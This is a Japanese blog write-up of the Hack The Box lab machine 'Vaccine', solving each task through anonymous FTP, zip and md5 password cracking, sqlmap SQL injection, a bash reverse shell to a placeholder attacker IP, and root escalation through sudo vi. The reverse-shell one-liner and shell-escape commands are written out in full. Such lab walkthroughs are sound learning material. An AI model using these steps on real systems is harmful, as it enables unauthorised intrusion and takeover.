HTB - Vaccine

WriteUp: HTB - Vaccine

はじめに

こんにちは。CTF初心者のロイといいます。
今回は HTB の Vaccine(Very Easy)を解いたので、WriteUpを残しておきます。
解法だけでなく、なるべく思考の過程を残したいと思っていますので、ご参考になれば幸いです。

TASK 1: SSHとHTTP以外に動いているサービスは何?

これはnmapを使えばいいですね。

HTB vaccine nmap

答えは FTP ですね。

Task 2: このサービスには、どんなパスワードでもログイン可能な特定のユーザー名があります。それは何?

ググるだけですね。

答えは anonymous ですね。

TASK 3: このサービスでダウンロードしたファイル名は?

FTPでanonymousでログインして、lsコマンドを実行します。

HTB vaccine FTP

答えは backup.zip ですね。

TASK 4: このファイルを開くために、John The Ripper(パスワードクラッキングツール)と一緒に使うスクリプトは何?

答えは zip2john ですね。

まず、backup.zipをダウンロードしましょうか。

HTB vaccine backup

ダウンロードしたら、zip2johnコマンドでパスワードのハッシュ値を取得します。

HTB vaccine zip2john

次に、johnコマンドでパスワードをクラッキングします。

HTB vaccine john

パスワードを使って、backup.zipを解凍します。

HTB vaccine unzip

TASK 5: そのWebサイトのadminユーザーのパスワードは何?

backup.zipを解答したら、index.phpとstyle.cssが出てきました。

index.phpにadminでgrepしてみます。

HTB vaccine admin

index.phpのコードを読むと、adminのパスワードはmd5でハッシュ化されているようです。

md5で復元したいと思います。

HTB vaccine md5

答えは qwerty789 ですね。

これで、adminのパスワードがわかりました。

httpのGUIからadminでログインしてみますかね。

HTB vaccine login

ログインできました。

HTB vaccine login success

TASK 6: SQLインジェクションでコマンド実行するためのsqlmapのオプションはどれ?

これはググり問題です。

sqlmapのオプションは、--os-shell ですね。

sqlmapは、SQLインジェクションを自動で検出して、コマンド実行までしてくれるツールです。

TASK 7: postgresユーザーがrootとしてsudoで実行できるプログラムはどれ?

えーと、まずはsqlmapを使ってSQLインジェクションを進めますか。

adminユーザーでログインした状態で、sqlmapを使うためにrequest.txtを作ります。

こんな感じ

HTB vaccine request

Cookieの値はブラウザの開発者ツールからコピーしてます。

それでは、sqlmap使っていきますか。先ほどの--os-shellオプションを使います。

HTB vaccine sqlmap HTB vaccine sqlmap2

シェルのプロンプトが来ましたね(中身ようわからんけど)。

いくつかコマンドを打ってみます(pwd, id, sudo -l)。

HTB vaccine sqlmap3

コマンド打ててますねー
でも、肝心のsudo -lの結果が何も返ってこない。。。

※ちなみに、ここで上にcdしまくって、user.txtを発見できますが、TASK7に解答しないことにはuser flagを解答できんのです。

なぜ、sudo -lの結果が返ってこないか、ChatGPTに聞いてみました。

端末が存在せず、単なるコマンド実行インタフェースとなるため、インタラクティブな機能が欠落しているためとのこと。そのため、sudo -lでパスワード入力がいるような対話的なコマンドは実行できないとのこと。

うーん、つまり、ちゃんとした端末を用意する必要があるということですね。

そういうときは、リバースシェルを使うらしいです。
簡単に言うと、攻撃ターゲット側から攻撃者端末にシェルを渡す感じ?

手順としては、下記です。

      1. 攻撃者端末でnc -lvnp 4444
          $ sudo nc -lvnp 4444
2. sqlmapで--os-cmdオプションを使って、リバースシェルを実行する $ sqlmap -r request.txt --os-cmd="bash -c 'bash -i >& /dev/tcp/攻撃者IP/4444 0>&1'"
3. 攻撃者端末に接続されるので、攻撃者端末側の設定を調整する $ python3 -c 'import pty; pty.spawn("/bin/bash")' $ Ctl-Z $ stty raw -echo $ fg $ export TERM=xterm
4. 対話的なコマンドも実行できるようになる $ sudo -l

実際にやってみたところ、sudo -lでパスワードを求められますが、パスワードがわからない。。。

パスワードを探します。
ありましたよ。

HTB vaccine passwd

では、あらためて sudo -l します。

HTB vaccine sudo

このTASK7の答えは vi でした。(長かったよ)

SUBMIT FLAG: user flagを提出せい

user flagはもう簡単です。まさぐるだけですよ。

HTB vaccine user flag

SUBMIT FLAG: root flagを提出せい

root権限を手に入れないとですねぇ?

さきほどのsudo -lで、viがroot権限で実行できることがわかりました。

これは、viのコマンドモードを使ってroot権限のシェルを取得するってやつですね!

viを実行して、コマンドモードに入ります。

HTB vaccine vi

コマンドモードに入ったら、:を押して、コマンドを入力します。

コマンドは、:!/bin/sh です。

HTB vaccine vi cmd

これで、root権限のシェルが取得できました。

あとは、root権限でroot.txtを取得して、flagを提出するだけです。

HTB vaccine root flag

これで、root flagを提出できました!

TECH BLOG BY OZAKI